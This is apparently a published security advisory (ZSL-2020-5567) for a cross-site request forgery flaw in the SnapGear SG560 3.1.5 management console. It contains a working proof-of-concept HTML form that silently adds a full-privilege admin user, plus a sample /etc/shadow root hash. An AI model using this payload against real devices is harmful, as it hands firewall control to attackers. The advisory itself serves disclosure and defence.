Secure Computing SnapGear Management Console SG560 3.1.5 CSRF

Secure Computing SnapGear Management Console SG560 version 3.1.5 suffers from a cross site request forgery vulnerability.

MD5 | 9068570c9d23605eb5c081c323c3b293

Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User

Vendor: Secure Computing Corp.
Product web page:
Affected version: 3.1.5u1

Summary: The SG gateway appliance range provides Internet security and
privacy of communications for small and medium enterprises, and branch
offices. It simply and securely connects your office to the Internet,
and with its robust stateful firewall, shields your computers from
external threats.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: fnord/1.9
Apache 1.3.27 (Unix)
Linux 2.4.31

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2020-5567
Advisory URL:



CSRF Add Super User:

<form action="" method="POST">
<input type="hidden" name=".form" value="edit" />
<input type="hidden" name=".page" value="adminusers_edit" />
<input type="hidden" name="login" value="testingus" />
<input type="hidden" name="fullname" value="ZSL" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="confirm" value="123456" />
<input type="hidden" name="acl.login" value="on" />
<input type="hidden" name="acl.admin" value="on" />
<input type="hidden" name="acl.diags" value="on" />
<input type="hidden" name="acl.saverestore" value="on" />
<input type="hidden" name="acl.setpassword" value="on" />
<input type="hidden" name="finish" value="Finish" />
<input type="hidden" name=".defaultname" value="finish" />
<input type="submit" value="Idemo" />

Result /etc/shadow:

root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh

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